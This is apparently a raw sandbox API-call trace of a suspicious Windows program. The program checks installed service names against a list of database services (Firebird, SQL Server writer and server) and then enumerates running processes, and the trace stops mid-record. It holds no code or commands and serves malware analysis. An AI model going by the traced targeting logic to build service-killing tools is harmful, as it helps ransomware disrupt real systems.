lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0214.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0214.683] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0214.683] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0214.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0214.683] lstrlenW (lpString="FontCache") returned 9 [0214.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0214.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0214.684] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0214.684] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0214.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0214.684] lstrlenW (lpString="gpsvc") returned 5 [0214.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0214.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0214.684] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0214.684] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0214.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0214.684] lstrlenW (lpString="iphlpsvc") returned 8 [0214.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0214.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0214.684] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0214.684] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0214.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0214.684] lstrlenW (lpString="KeyIso") returned 6 [0214.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0214.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0214.684] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0214.684] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0214.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0214.684] lstrlenW (lpString="LanmanServer") returned 12 [0214.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0214.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0214.684] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0214.684] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0214.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0214.684] lstrlenW (lpString="LanmanWorkstation") returned 17 [0214.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0214.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0214.685] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0214.685] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0214.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0214.685] lstrlenW (lpString="lfsvc") returned 5 [0214.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0214.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0214.685] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0214.685] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0214.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0214.685] lstrlenW (lpString="LicenseManager") returned 14 [0214.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0214.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0214.685] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0214.685] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0214.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0214.685] lstrlenW (lpString="lmhosts") returned 7 [0214.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0214.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0214.685] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0214.685] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0214.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0214.685] lstrlenW (lpString="LSM") returned 3 [0214.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0214.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0214.685] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0214.685] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0214.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0214.686] lstrlenW (lpString="MpsSvc") returned 6 [0214.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0214.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0214.686] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0214.686] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0214.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0214.686] lstrlenW (lpString="NcbService") returned 10 [0214.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0214.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0214.686] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0214.686] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0214.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0214.688] lstrlenW (lpString="netprofm") returned 8 [0214.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0214.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0214.689] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0214.689] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0214.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0214.689] lstrlenW (lpString="NlaSvc") returned 6 [0214.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0214.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0214.689] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0214.689] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0214.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0214.689] lstrlenW (lpString="nsi") returned 3 [0214.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0214.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0214.689] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0214.689] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0214.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0214.689] lstrlenW (lpString="PcaSvc") returned 6 [0214.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0214.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0214.689] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0214.689] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0214.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0214.689] lstrlenW (lpString="PlugPlay") returned 8 [0214.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0214.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0214.690] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0214.690] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0214.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0214.690] lstrlenW (lpString="Power") returned 5 [0214.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0214.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0214.690] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0214.690] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0214.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0214.690] lstrlenW (lpString="ProfSvc") returned 7 [0214.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0214.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0214.690] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0214.690] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0214.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0214.690] lstrlenW (lpString="RpcEptMapper") returned 12 [0214.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0214.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0214.690] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0214.690] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0214.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0214.690] lstrlenW (lpString="RpcSs") returned 5 [0214.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0214.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0214.690] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0214.690] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0214.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0214.691] lstrlenW (lpString="SamSs") returned 5 [0214.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0214.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0214.691] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0214.691] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0214.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0214.691] lstrlenW (lpString="Schedule") returned 8 [0214.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0214.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0214.691] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0214.691] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0214.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0214.691] lstrlenW (lpString="SecurityHealthService") returned 21 [0214.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0214.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0214.691] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0214.691] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0214.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0214.691] lstrlenW (lpString="SENS") returned 4 [0214.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0214.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0214.691] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0214.691] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0214.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0214.691] lstrlenW (lpString="ShellHWDetection") returned 16 [0214.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0214.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0214.692] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0214.692] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0214.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0214.692] lstrlenW (lpString="Spooler") returned 7 [0214.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0214.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0214.692] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0214.692] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0214.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0214.692] lstrlenW (lpString="SSDPSRV") returned 7 [0214.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0214.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0214.692] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0214.692] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0214.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0214.692] lstrlenW (lpString="StateRepository") returned 15 [0214.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0214.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0214.692] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0214.692] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0214.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0214.692] lstrlenW (lpString="SysMain") returned 7 [0214.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0214.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0214.692] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0214.692] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0214.693] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x801a48 | out: hHeap=0x790000) returned 1 [0214.693] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x318 [0214.700] Process32FirstW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0214.701] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0214.701] lstrlenW (lpString="System") returned 6 [0214.701] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0214.702] lstrlenW (lpString="smss.exe") returned 8 [0214.702] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0214.703] lstrlenW (lpString="csrss.exe") returned 9 [0214.703] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0214.704] lstrlenW (lpString="wininit.exe") returned 11 [0214.704] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0214.705] lstrlenW (lpString="csrss.exe") returned 9 [0214.705] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0214.706] lstrlenW (lpString="winlogon.exe") returned 12 [0214.706] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0214.707] lstrlenW (lpString="services.exe") returned 12 [0214.707] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0214.708] lstrlenW (lpString="lsass.exe") returned 9 [0214.708] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.709] lstrlenW (lpString="svchost.exe") returned 11 [0214.709] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0214.710] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0214.710] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0214.711] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0214.711] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.712] lstrlenW (lpString="svchost.exe") returned 11 [0214.712] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0214.713] lstrlenW (lpString="dwm.exe") returned 7 [0214.713] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.714] lstrlenW (lpString="svchost.exe") returned 11 [0214.714] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.715] lstrlenW (lpString="svchost.exe") returned 11 [0214.715] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.716] lstrlenW (lpString="svchost.exe") returned 11 [0214.716] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.717] lstrlenW (lpString="svchost.exe") returned 11 [0214.717] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.717] lstrlenW (lpString="svchost.exe") returned 11 [0214.718] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.718] lstrlenW (lpString="svchost.exe") returned 11 [0214.718] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.719] lstrlenW (lpString="svchost.exe") returned 11 [0214.719] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.720] lstrlenW (lpString="svchost.exe") returned 11 [0214.720] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.739] lstrlenW (lpString="svchost.exe") returned 11 [0214.739] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0214.740] lstrlenW (lpString="spoolsv.exe") returned 11 [0214.740] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.741] lstrlenW (lpString="svchost.exe") returned 11 [0214.741] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.742] lstrlenW (lpString="svchost.exe") returned 11 [0214.742] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0214.743] lstrlenW (lpString="audiodg.exe") returned 11 [0214.743] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0214.744] lstrlenW (lpString="sihost.exe") returned 10 [0214.744] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.745] lstrlenW (lpString="svchost.exe") returned 11 [0214.745] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0214.746] lstrlenW (lpString="taskhostw.exe") returned 13 [0214.746] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0214.747] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0214.747] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0214.748] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0214.748] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: 